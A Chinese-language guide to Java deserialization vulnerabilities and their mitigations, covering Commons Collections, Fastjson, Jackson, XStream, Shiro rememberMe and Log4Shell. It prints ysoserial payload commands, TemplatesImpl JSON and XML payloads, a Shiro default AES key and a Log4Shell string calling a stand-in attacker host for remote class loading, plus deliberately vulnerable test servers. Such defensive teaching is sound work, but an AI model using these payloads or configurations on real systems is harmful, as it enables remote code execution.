Java反序列化漏洞全面解析与防护指南
1. Java反序列化漏洞概述
Java反序列化漏洞是指攻击者通过精心构造的恶意序列化数据,在目标系统执行反序列化操作时触发恶意代码执行的安全漏洞。这种漏洞利用了Java的ObjectInputStream机制,能够自动还原序列化数据的对象状态。
1.1 反序列化基本流程
反序列化是将序列化字节流还原为Java对象的操作,典型示例代码如下:
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("object.ser"));
Object obj = ois.readObject(); // 潜在危险点:不可信数据可能触发恶意代码
1.2 漏洞核心要素
- 可控输入:攻击者能够提供恶意的序列化数据
- 反序列化触发:应用调用
readObject()或通过易受攻击的库处理数据 - Gadget链:在反序列化时自动触发恶意代码的类和方法链
2. 利用原理与攻击方式
2.1 Gadget链机制
Java反序列化攻击依赖于Gadget链,即在反序列化过程中触发的一系列方法调用。易受攻击的类通常包含readObject()、readResolve()或finalize()等方法,可被操纵执行恶意代码。
2.2 主要攻击方式
- 命令执行:通过Gadget链调用
Runtime.getRuntime().exec()执行任意命令 - 远程类加载:触发JNDI查询,从攻击者控制的服务器加载恶意类
- 对象操纵:构造恶意对象,在反序列化时利用应用逻辑漏洞
3. 常见Java反序列化漏洞详解
3.1 Apache Commons Collections (CC) 漏洞
漏洞描述
Apache Commons Collections库(3.1-3.2.1及4.0版本)中的InvokerTransformer等类允许方法调用链构造,在反序列化时可实现RCE。
利用原理
通过InvokerTransformer和ChainedTransformer,结合LazyMap或TiedMapEntry,构建Gadget链,最终调用Runtime.getRuntime().exec()。
生成Payload (使用ysoserial)
java -jar ysoserial.jar CommonsCollections1 "calc" > payload.ser
服务端测试代码
import java.io.*;
import org.apache.commons.collections.map.LazyMap;
public class VulnerableServer {
public static void main(String[] args) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("payload.ser"));
ois.readObject(); // 触发命令执行
ois.close();
}
}
攻击步骤
- 生成Payload:
java -jar ysoserial.jar CommonsCollections1 "calc" > payload.ser - 通过网络接口将payload.ser发送到服务端
- 服务端反序列化Payload,执行calc.exe
3.2 Fastjson漏洞 (版本<1.2.47)
漏洞描述
Fastjson的@type功能允许指定反序列化的类。如果autotype启用或配置不当,攻击者可加载恶意类(如TemplatesImpl)。
利用Payload (JSON)
{
"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"bytecodes":["BASE64恶意类"],
"name":"Exploit",
"tfactory":{}
}
服务端测试代码
import com.alibaba.fastjson.JSON;
public class VulnerableFastjson {
public static void main(String[] args) throws Exception {
String json = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"bytecodes\":[\"BASE64恶意类\"],\"name\":\"Exploit\",\"tfactory\":{}}";
JSON.parse(json); // 触发漏洞
}
}
3.3 Jackson漏洞 (启用Default Typing)
漏洞描述
Jackson的ObjectMapper在启用enableDefaultTyping()时支持多态反序列化,攻击者可通过@class指定恶意类。
服务端测试代码
import com.fasterxml.jackson.databind.ObjectMapper;
public class VulnerableJackson {
public static void main(String[] args) throws Exception {
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping(); // 危险配置
String json = "{\"@class\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"bytecodes\":[\"BASE64恶意类\"],\"name\":\"Exploit\",\"tfactory\":{}}";
mapper.readValue(json, Object.class); // 触发漏洞
}
}
3.4 XStream漏洞 (版本<1.4.15)
漏洞描述
XStream将XML数据反序列化为Java对象。如果未配置类白名单,攻击者可通过XML构造恶意对象树触发漏洞。
利用Payload (XML)
<java.util.PriorityQueue serialization='custom'>
<unserializable-parents/>
<java.util.PriorityQueue>
<size>2</size>
<com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
<name>Exploit</name>
<bytecodes>
<bytearray>BASE64编码的恶意类</bytearray>
</bytecodes>
<tfactory/>
</com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
<string>test</string>
</java.util.PriorityQueue>
</java.util.PriorityQueue>
3.5 Apache Shiro RememberMe漏洞
漏洞描述
Apache Shiro的rememberMe功能通过AES加密序列化用户数据。如果AES密钥已知(例如默认密钥kPH+bIxk5D2deZiIxcaaaA==),攻击者可构造恶意Payload。
利用步骤
- 使用ysoserial生成Payload:
java -jar ysoserial.jar CommonsCollections1 "calc" > payload.bin - 使用已知AES密钥加密Payload
- 构造请求:
GET / HTTP/1.1 Host: target.com Cookie: rememberMe=BASE64编码的Payload
3.6 Log4j2 JNDI注入 (CVE-2021-44228, Log4Shell)
漏洞描述
Log4j2(版本<2.16.0)在解析日志消息时会处理${jndi:}表达式,允许攻击者通过JNDI触发远程类加载。
利用Payload
${jndi:ldap://attacker.com/Exploit}
服务端测试代码
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class VulnerableLog4j {
private static final Logger logger = LogManager.getLogger();
public static void main(String[] args) {
String userInput = "${jndi:ldap://attacker.com/Exploit}";
logger.info(userInput); // 触发JNDI查询
}
}
4. 检测与测试工具
- Ysoserial:生成多种Gadget链Payload
- Ysomap:统一的反序列化利用工具
- Shiro_attack:测试Shiro RememberMe漏洞
- Log4jscan:扫描Log4Shell漏洞
- Fastjson-blacklist-checker:检测Fastjson漏洞
5. 防护与加固措施
5.1 通用防护实践
- 避免反序列化不可信数据
- 使用类白名单限制可反序列化的类
- 保持依赖项和JDK的更新
- 应用安全补丁
5.2 具体防护措施
| 库/组件 | 防护措施 |
|---|---|
| Commons Collections | 升级到3.2.2+或4.1+;使用ObjectInputFilter限制类 |
| Fastjson | 禁用autotype;使用ParserConfig.getGlobalInstance().addAccept()设置白名单 |
| Jackson | 禁用enableDefaultTyping();为ObjectMapper配置类白名单 |
| XStream | 使用xstream.allowTypes()限制可反序列化的类 |
| Apache Shiro | 更换默认AES密钥;禁用rememberMe或使用签名机制 |
| Log4j2 | 升级到≥2.16.0;设置log4j2.formatMsgNoLookups=true;禁用JNDI |
| Spring Framework | 升级到≥5.3.18;限制数据绑定参数 |
| Java RMI | 限制RMI仅限可信主机;应用JDK补丁(例如8u121+) |
5.3 安全反序列化示例代码
import java.io.*;
public class SafeDeserialization {
public static void main(String[] args) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("object.ser"));
ois.setObjectInputFilter(filter -> {
Class<?> clazz = filter.getType();
if (clazz != null && MySafeClass.class.equals(clazz)) {
return ObjectInputFilter.Status.ALLOWED;
}
return ObjectInputFilter.Status.REJECTED;
});
Object obj = ois.readObject();
ois.close();
}
}
6. 总结
Java反序列化漏洞是一类高危安全问题,攻击者通过控制序列化数据并利用Gadget链,可在反序列化时执行任意代码。防护的核心要点包括:
- 在反序列化前验证和过滤所有输入数据
- 使用类白名单,避免使用危险方法如
readObject() - 保持依赖项和JDK的更新
- 使用ysoserial和Ysomap等工具测试应用漏洞
通过遵循这些指南,可以显著降低Java应用中反序列化攻击的风险。